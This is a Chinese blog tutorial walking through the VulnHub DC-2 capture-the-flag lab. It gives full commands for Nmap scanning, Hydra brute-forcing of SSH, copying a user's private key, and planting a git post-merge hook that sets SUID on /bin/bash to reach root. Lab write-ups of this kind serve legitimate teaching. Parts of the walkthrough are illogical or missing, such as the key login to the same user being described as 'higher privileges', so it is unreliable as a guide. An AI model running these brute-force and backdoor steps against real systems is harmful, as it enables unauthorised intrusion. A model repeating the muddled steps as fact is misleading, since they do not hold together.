文章总结: 本文详细讲解了VulnHub靶场DC-2的渗透全过程。通过Nmap全端口扫描发现非标准SSH端口,利用Hydra爆破WordPress用户凭证,并通过SSH密钥登录绕过限制。重点演示了利用root定时任务中的gitpull机制,在post-merge钩子植入恶意脚本设置SUID后门,最终获取root权限。文章实战性强,强调了非默认端口探测与定时任务提权的技巧。 综合评分: 88 文章分类: 渗透测试,实战经验,WEB安全,内网渗透,漏洞分析
网安靶场实战指南(第7期):DC-2通关!SSH密钥登录+定时任务提权,真实渗透必学技巧
原创
点击关注👉 点击关注👉
网络安全学习室
2026年2月1日 10:39 湖南
上一期搞定DC-1后,很多粉丝反馈“提权环节太上头”,终于摆脱了纯Web漏洞的局限!这一期我们趁热打铁,攻坚VulnHub的DC-2靶场——它比DC-1更贴近真实场景,不仅要突破Web防线,还要玩转SSH密钥登录、密码破解、定时任务提权,甚至涉及权限切换的逻辑博弈。
关键是,这套技巧在企业SRC和真实渗透中高频出现,学会了直接能套用在挖洞实战里。全程手把手带练,新手也能跟着走通,告别“只会刷Web漏洞”的瓶颈!
一、环境搭建与信息收集(沿用DC-1思路,少走弯路)
DC-2和DC-1同为VulnHub经典靶场,环境搭建逻辑一致,重点注意网络配置和IP扫描,避免踩连通性的坑。
1. 靶场部署(5分钟搞定) 
- 下载镜像:VulnHub官网搜索“DC-2”,下载.ova格式镜像(大小约1GB,耐心等待);
- 导入虚拟机:打开VMware,选择“打开虚拟机”,导入DC-2镜像,默认配置即可;
- 网络设置:和Kali攻击机统一设为仅主机模式(确保同一网段,避免跨网段无法访问);
- 启动靶场:先开Kali,再启动DC-2,靶场启动后会显示IP提示(若未显示,后续用Nmap扫描)。
2. 精准扫描:锁定靶场IP与开放端口 
信息收集是渗透的根基,先摸清靶场的“底牌”:
- 扫描网段找IP:在Kali终端执行命令,扫描仅主机网段(默认192.168.137.0/24,根据自己的网段调整):
nmap -sP 192.168.137.0/24 # 快速扫描存活主机,屏蔽无关设备扫描结果中,标注“DC-2”的IP即为目标(示例:192.168.137.131),记牢这个IP。 - 全端口扫描服务:针对目标IP扫描开放端口和对应服务,明确突破口:
nmap -sV -A -p 1-65535 192.168.137.131 # 全端口扫描,显示服务版本
3. 扫描结果解读(核心突破口) 
重点关注3个开放端口,每个都是关键节点:
- 80端口(Apache服务):Web网站入口,大概率是初始突破点;
- 7744端口(SSH服务):非默认SSH端口(默认22),隐蔽性强,后续用来登录服务器;
- 其他端口:无高危服务,暂时聚焦80和7744端口。
二、Web突破:从WordPress漏洞到账号密码泄露
访问靶场IP(192.168.137.131),发现是一个WordPress搭建的网站——和DC-1的Drupal类似,CMS系统往往是突破口,尤其是低版本漏洞和配置泄露。
1. 探测WordPress版本与用户 
WordPress的用户信息可通过接口直接泄露,这是第一步:
- 访问用户列表接口:在浏览器输入
http://192.168.137.131/?author=1,页面会跳转并显示用户名“admin”; - 批量枚举用户:修改author后的数字(1、2、3…),最终发现DC-2有3个核心用户:admin、jerry、tom;
- 判断WordPress版本:用Kali自带的工具扫描,或查看页面源码中的版本注释,确定为低版本(无直接RCE漏洞,需换思路)。
2. 密码破解:用Hydra暴力破解SSH账号 
既然Web端无直接RCE漏洞,就转向7744端口的SSH服务——已知用户名,用Hydra暴力破解密码,这是真实渗透中常用的“弱口令突破”思路。
- 准备字典:Kali自带密码字典,路径为
/usr/share/wordlists/rockyou.txt.gz,先解压:gunzip /usr/share/wordlists/rockyou.txt.gz # 解压后得到rockyou.txt字典 - 执行Hydra破解:针对jerry和tom用户(admin密码较复杂,先破解普通用户),命令如下: `hydra -l jerry -P /usr/share/wordlists/rockyou.txt ssh://192.168.137.131:7744 # 破解jerry密码
hydra -l tom -P /usr/share/wordlists/rockyou.txt ssh://192.168.137.131:7744 # 破解tom密码`
- 获取密码:等待几分钟(字典较大,耐心等待),最终破解出:
- jerry:password(密码简单,容易破解);
- tom:parturient(密码较复杂,需字典覆盖)。
三、SSH登录:密钥认证绕过与权限切换
拿到账号密码后,通过7744端口登录SSH,但登录后会发现权限受限——这是DC-2的第一个小坑,需要切换用户并利用密钥登录提权。
1. 登录SSH,发现权限限制 
- 登录tom用户:执行命令,指定端口7744:
ssh [email protected] -p 7744 # 输入密码parturient登录 - 权限受限提示:登录后执行命令会报错“-bash: /home/tom/.bashrc: Permission denied”,无法执行常规命令,需切换用户。
2. 切换jerry用户,获取正常权限 
tom用户权限过低,用已破解的jerry密码切换用户:
切换成功后,执行ls命令,发现当前目录有一个“flag2.txt”,打开查看提示:“密码不是唯一的登录方式,试试密钥登录”——这是靶场给的关键线索!
3. SSH密钥登录:获取更高权限 
密钥登录比密码登录更安全,也更隐蔽,DC-2中jerry用户可通过密钥切换到其他用户:
- 查找密钥文件:在jerry用户目录下,执行命令查找SSH密钥:
find / -name "id_rsa" 2>/dev/null # 查找私钥文件,屏蔽错误提示最终在“/home/jerry/.ssh/id_rsa”找到私钥文件。 - 复制私钥到Kali:用
cat /home/jerry/.ssh/id_rsa查看私钥内容,复制全部内容,在Kali中新建“dc2_rsa”文件,粘贴私钥并保存。 - 修改私钥权限:Kali中执行命令,确保私钥权限合规(否则SSH拒绝登录):
chmod 600 dc2_rsa # 仅当前用户可读写 - 用密钥登录SSH:执行命令,通过私钥登录jerry用户(无需密码):
ssh -i dc2_rsa [email protected] -p 7744登录成功后,权限完全正常,可执行所有常规命令。
四、终极提权:利用定时任务获取root权限
拿到jerry权限后,下一步就是提权到root——DC-2的提权核心的是“定时任务漏洞”,这是Linux系统中高频出现的提权场景。
1. 查找定时任务:发现可利用的计划任务 
Linux定时任务存放在“/etc/crontab”,执行命令查看:
发现一个关键定时任务:* * * * * root /usr/bin/git pull——意为“每分钟以root权限执行一次git pull命令”,且该任务对应的仓库目录(/var/www/html)对jerry用户有写入权限!
2. 构造恶意git配置,触发提权 
利用git的“hook脚本”特性,在仓库目录中植入恶意脚本,让定时任务执行时以root权限运行,从而获取root shell。
- 进入git仓库目录:
cd /var/www/html # 定时任务执行git pull的目录 - 创建恶意hook脚本:git的post-merge钩子会在pull后执行,新建该脚本并写入提权命令: `echo ‘#!/bin/bash’ > .git/hooks/post-merge # 新建脚本,指定解释器
echo ‘chmod u+s /bin/bash’ >> .git/hooks/post-merge # 给bash添加SUID权限` 注:SUID权限让bash以文件所有者(root)权限执行,后续执行bash即可提权。
- 赋予脚本执行权限:
chmod +x .git/hooks/post-merge
3. 等待定时任务执行,提权到root 
- 等待1分钟:定时任务每分钟执行一次git pull,会自动触发post-merge脚本;
- 执行bash提权:脚本执行后,执行命令:
bash -p # -p参数保留SUID权限 - 验证root权限:输入
id命令,显示“uid=0(root)”——成功提权到root!
五、拿下最终flag,通关总结
提权到root后,执行命令查找最终flag:
在“/root/flag4.txt”找到最终flag,里面写着“恭喜通关DC-2”,至此全程通关!
核心技巧总结(真实渗透可直接套用) 
- 非默认端口探测:SSH默认22端口易被防护,需关注7744、2222等非默认端口;
- Hydra暴力破解:已知用户名时,用字典暴力破解弱口令,是低成本突破方式;
- 定时任务提权:重点关注root用户的定时任务,寻找可写入的脚本或命令,植入恶意代码。
六、互动与下期预告
你在定时任务提权时有没有踩坑?比如脚本权限不够、定时任务不执行?评论区留言你的问题,我帮你拆解解决!
下一期我们继续攻坚VulnHub DC-3,教你MySQL数据库提权+内核漏洞利用,解锁Linux提权的新姿势,这套技巧在高权限渗透中必备,关注不迷路!
点击文末阅读原文领取200节攻防教程
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全学习室 点击关注👉 点击关注👉《网安靶场实战指南(第7期):DC-2通关!SSH密钥登录+定时任务提权,真实渗透必学技巧》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论